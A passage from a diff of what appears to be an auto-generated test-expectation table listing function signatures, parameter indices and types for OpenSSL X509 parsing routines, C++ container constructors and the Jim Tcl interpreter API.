(IPAddressOrRange **,const unsigned char **,long) | | d2i_IPAddressOrRange | 0 | IPAddressOrRange ** | +| (IPAddressOrRange **,const unsigned char **,long) | | d2i_IPAddressOrRange | 1 | const unsigned char ** | +| (IPAddressOrRange **,const unsigned char **,long) | | d2i_IPAddressOrRange | 2 | long | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 0 | IPAddressOrRange * | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 1 | const unsigned int | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 2 | unsigned char * | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 3 | unsigned char * | +| (IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int) | | X509v3_addr_get_range | 4 | const int | +| (IPAddressRange *) | | IPAddressRange_free | 0 | IPAddressRange * | +| (IPAddressRange **,const unsigned char **,long) | | d2i_IPAddressRange | 0 | IPAddressRange ** | +| (IPAddressRange **,const unsigned char **,long) | | d2i_IPAddressRange | 1 | const unsigned char ** | +| (IPAddressRange **,const unsigned char **,long) | | d2i_IPAddressRange | 2 | long | +| (ISSUER_SIGN_TOOL *) | | ISSUER_SIGN_TOOL_free | 0 | ISSUER_SIGN_TOOL * | +| (ISSUER_SIGN_TOOL **,const unsigned char **,long) | | d2i_ISSUER_SIGN_TOOL | 0 | ISSUER_SIGN_TOOL ** | +| (ISSUER_SIGN_TOOL **,const unsigned char **,long) | | d2i_ISSUER_SIGN_TOOL | 1 | const unsigned char ** | +| (ISSUER_SIGN_TOOL **,const unsigned char **,long) | | d2i_ISSUER_SIGN_TOOL | 2 | long | +| (ISSUING_DIST_POINT *) | | ISSUING_DIST_POINT_free | 0 | ISSUING_DIST_POINT * | +| (ISSUING_DIST_POINT **,const unsigned char **,long) | | d2i_ISSUING_DIST_POINT | 0 | ISSUING_DIST_POINT ** | +| (ISSUING_DIST_POINT **,const unsigned char **,long) | | d2i_ISSUING_DIST_POINT | 1 | const unsigned char ** | +| (ISSUING_DIST_POINT **,const unsigned char **,long) | | d2i_ISSUING_DIST_POINT | 2 | long | | (InputIt,InputIt) | deque | assign | 0 | func:0 | | (InputIt,InputIt) | deque | assign | 1 | func:0 | | (InputIt,InputIt) | forward_list | assign | 0 | func:0 | @@ -667,6 +15643,333 @@ getSignatureParameterName | (InputIterator,InputIterator,const Allocator &) | vector | vector | 0 | func:0 | | (InputIterator,InputIterator,const Allocator &) | vector | vector | 1 | func:0 | | (InputIterator,InputIterator,const Allocator &) | vector | vector | 2 | const class:1 & | +| (Jim_HashTable *) | | Jim_GetHashTableIterator | 0 | Jim_HashTable * | +| (Jim_HashTable *,const Jim_HashTableType *,void *) | | Jim_InitHashTable | 0 | Jim_HashTable * | +| (Jim_HashTable *,const Jim_HashTableType *,void *) | | Jim_InitHashTable | 1 | const Jim_HashTableType * | +| (Jim_HashTable *,const Jim_HashTableType *,void *) | | Jim_InitHashTable | 2 | void * | +| (Jim_HashTable *,const void *) | | Jim_FindHashEntry | 0 | Jim_HashTable * | +| (Jim_HashTable *,const void *) | | Jim_FindHashEntry | 1 | const void * | +| (Jim_HashTableIterator *) | | Jim_NextHashEntry | 0 | Jim_HashTableIterator * | +| (Jim_Interp *) | | Jim_GetExitCode | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_InteractivePrompt | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_NewObj | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_bootstrapInit | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_globInit | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_initjimshInit | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_stdlibInit | 0 | Jim_Interp * | +| (Jim_Interp *) | | Jim_tclcompatInit | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_AioFilehandle | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_AioFilehandle | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DeleteCommand | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DeleteCommand | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DictInfo | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DictInfo | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DictSize | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DictSize | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DuplicateObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_DuplicateObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalExpression | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalExpression | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalObjList | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_EvalObjList | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_FreeObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_FreeObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_GetCallFrameByLevel | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_GetCallFrameByLevel | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_ListLength | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_ListLength | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_MakeGlobalNamespaceName | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_MakeGlobalNamespaceName | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *) | | Jim_Utf8Length | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *) | | Jim_Utf8Length | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 2 | Jim_CmdProc * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 3 | void * | +| (Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommandObj | 4 | Jim_DelCmdProc * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_AppendObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_AppendObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_AppendObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendElement | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendElement | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendElement | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendList | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendList | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_ListAppendList | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_RenameCommand | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_RenameCommand | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_RenameCommand | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_SetVariable | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_SetVariable | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *) | | Jim_SetVariable | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 2 | Jim_Obj ** | +| (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *) | | Jim_SetVariableLink | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *) | | Jim_SetVariableLink | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *) | | Jim_SetVariableLink | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *) | | Jim_SetVariableLink | 3 | Jim_CallFrame * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_DictAddElement | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_DictAddElement | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_DictAddElement | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_DictAddElement | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_ListRange | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_ListRange | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_ListRange | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_ListRange | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringByteRangeObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringByteRangeObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringByteRangeObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringByteRangeObj | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringRangeObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringRangeObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringRangeObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | Jim_StringRangeObj | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 3 | Jim_Obj ** | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int) | | Jim_DictKey | 4 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *) | | JimStringReplaceObj | 4 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 3 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int) | | Jim_CommandMatchObj | 4 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 2 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int) | | Jim_DictMatchTypes | 4 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 2 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *) | | Jim_ListSetIndex | 4 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 2 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 4 | Jim_Obj ** | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 5 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 2 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 3 | int | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 4 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 5 | int | +| (Jim_Interp *,Jim_Obj *,char *) | | Jim_ScriptIsComplete | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,char *) | | Jim_ScriptIsComplete | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,char *) | | Jim_ScriptIsComplete | 2 | char * | +| (Jim_Interp *,Jim_Obj *,const char *) | | Jim_CompareStringImmediate | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *) | | Jim_CompareStringImmediate | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *) | | Jim_CompareStringImmediate | 2 | const char * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 2 | const char * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 3 | int | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 2 | const char * | +| (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 3 | int | +| (Jim_Interp *,Jim_Obj *,const char *const *) | | Jim_CheckShowCommands | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *const *) | | Jim_CheckShowCommands | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *const *) | | Jim_CheckShowCommands | 2 | const char *const * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 2 | const char *const * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 3 | int * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 4 | const char * | +| (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 5 | int | +| (Jim_Interp *,Jim_Obj *,const jim_stat_t *) | | Jim_FileStoreStatData | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,const jim_stat_t *) | | Jim_FileStoreStatData | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,const jim_stat_t *) | | Jim_FileStoreStatData | 2 | const jim_stat_t * | +| (Jim_Interp *,Jim_Obj *,double *) | | Jim_GetDouble | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,double *) | | Jim_GetDouble | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,double *) | | Jim_GetDouble | 2 | double * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_DictPairs | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_DictPairs | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_DictPairs | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolFromExpr | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolFromExpr | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolFromExpr | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolean | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolean | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolean | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetIndex | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetIndex | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetIndex | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetReturnCode | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetReturnCode | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetReturnCode | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetSourceInfo | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetSourceInfo | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetSourceInfo | 2 | int * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | int | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | int | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | int | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | int | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 3 | Jim_Obj ** | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int) | | Jim_ListIndex | 4 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_EvalObjPrefix | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_EvalObjPrefix | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_EvalObjPrefix | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_EvalObjPrefix | 3 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_FormatString | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_FormatString | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_FormatString | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *) | | Jim_FormatString | 3 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 2 | int | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 3 | int | +| (Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *) | | Jim_ListInsertElements | 4 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetLong | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetLong | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetLong | 2 | long * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWide | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWide | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWide | 2 | long * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWideExpr | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWideExpr | 1 | Jim_Obj * | +| (Jim_Interp *,Jim_Obj *,long *) | | Jim_GetWideExpr | 2 | long * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 1 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | int | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 0 | Jim_Interp * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 1 | Jim_Obj *const * | +| (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | int | +| (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 0 | Jim_Interp * | +| (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 1 | char * | +| (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | int | +| (Jim_Interp *,const char *) | | Jim_Eval | 0 | Jim_Interp * | +| (Jim_Interp *,const char *) | | Jim_Eval | 1 | const char * | +| (Jim_Interp *,const char *) | | Jim_EvalFile | 0 | Jim_Interp * | +| (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | const char * | +| (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 0 | Jim_Interp * | +| (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | const char * | +| (Jim_Interp *,const char *) | | Jim_EvalGlobal | 0 | Jim_Interp * | +| (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | const char * | +| (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 1 | const char * | +| (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 2 | ... | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 1 | const char * | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 2 | Jim_CmdProc * | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 3 | void * | +| (Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *) | | Jim_CreateCommand | 4 | Jim_DelCmdProc * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetGlobalVariableStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetGlobalVariableStr | 1 | const char * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetGlobalVariableStr | 2 | Jim_Obj * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetVariableStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetVariableStr | 1 | const char * | +| (Jim_Interp *,const char *,Jim_Obj *) | | Jim_SetVariableStr | 2 | Jim_Obj * | +| (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 1 | const char * | +| (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 2 | 